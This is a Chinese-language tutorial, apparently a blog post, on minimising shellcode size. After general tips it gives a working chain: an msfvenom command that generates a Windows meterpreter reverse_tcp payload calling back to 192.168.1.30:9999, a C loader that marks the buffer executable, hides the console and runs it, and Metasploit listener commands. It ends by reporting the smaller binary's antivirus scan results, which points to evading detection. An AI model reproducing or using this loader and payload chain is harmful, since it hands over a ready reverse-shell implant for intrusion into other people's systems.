ShellCode 最小化编译优化

编写Shellcode时，最小化大小通常是一个重要的优化目标，因为Shellcode通常被用于利用漏洞或执行特定任务，而且需要足够小以便于注入到目标进程中。以下是一些最小化Shellcode大小的一般性优化技巧：

1. 手动调整指令： 手动调整指令以确保使用最小的字节数。例如，使用短格式的JMP指令，避免不必要的NOP指令等。

2. 使用寄存器而不是内存： 尽可能使用寄存器而不是内存来保存数据。这减少了代码中的内存引用，从而减小了Shellcode的大小。

3. 使用短指令： 在可能的情况下，使用短指令而不是长指令。例如，使用xor eax, eax而不是xor rax, rax。

4. 压缩Shellcode： 使用压缩算法（如LZ77）对Shellcode进行压缩。但要注意，解压缩代码会增加Shellcode的复杂性。

5. 避免不必要的库函数： 避免使用标准库函数，因为它们可能包含大量的额外代码。手动实现所需功能，以减小Shellcode的体积。

6. 删除不必要的部分： 删除不需要的功能或部分，以适应特定的攻击场景。

7. 使用短标签和变量名： 使用短的标签和变量名，以减小Shellcode的大小。

8. 优化循环： 对循环进行优化，尽量减小循环体的大小。

9. 使用Shellcode编写工具： 使用专门的Shellcode编写工具，这些工具通常会自动应用各种优化技巧。

10. 去除符号表和调试信息： 在编译时使用适当的选项（如-s）来删除符号表和调试信息，减小Shellcode的大小。

虽然上述技巧可以减小Shellcode的大小，但在实际使用中，需要权衡Shellcode的大小和功能。过度的最小化可能导致Shellcode变得难以理解和维护。此外，为了确保Shellcode的成功执行，还需要考虑目标系统的体系结构和操作环境。

1.生成ShellCode

[root@localhost ~]# msfvenom -a x86 --platform Windows \
>                              -p windows/meterpreter/reverse_tcp \
>                              -b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c

2.替换ShellCode

#pragma comment(linker,"/INCREMENTAL:NO")                                     // 减小编译体积
#pragma comment(linker, "/section:.data,RWE")                                 // 启用数据段可读写
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")    // 隐藏控制台CMD窗体

#include <windows.h>
int main(void)
{
	char *buff = (char*)"此处填写ShellCode";
	DWORD ShellCode;

	BOOL ret = VirtualProtect(buff, strlen(buff),PAGE_EXECUTE_READWRITE, &ShellCode);
	if (!ret) { return EXIT_FAILURE; }
	((void(*)(void))buff)();
	return EXIT_SUCCESS;
}

3.MSF监听事件。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z

打开VS新建一个项目，这里我们要选择控制台项目，然后选择空项目，将上面的对勾全部去掉。

粘贴并替换好，生成的ShellCode代码，然后编译代码，观察代码大小。

经过上方编译优化，大小从原来的70KB缩减至 10KB，查杀结果如下。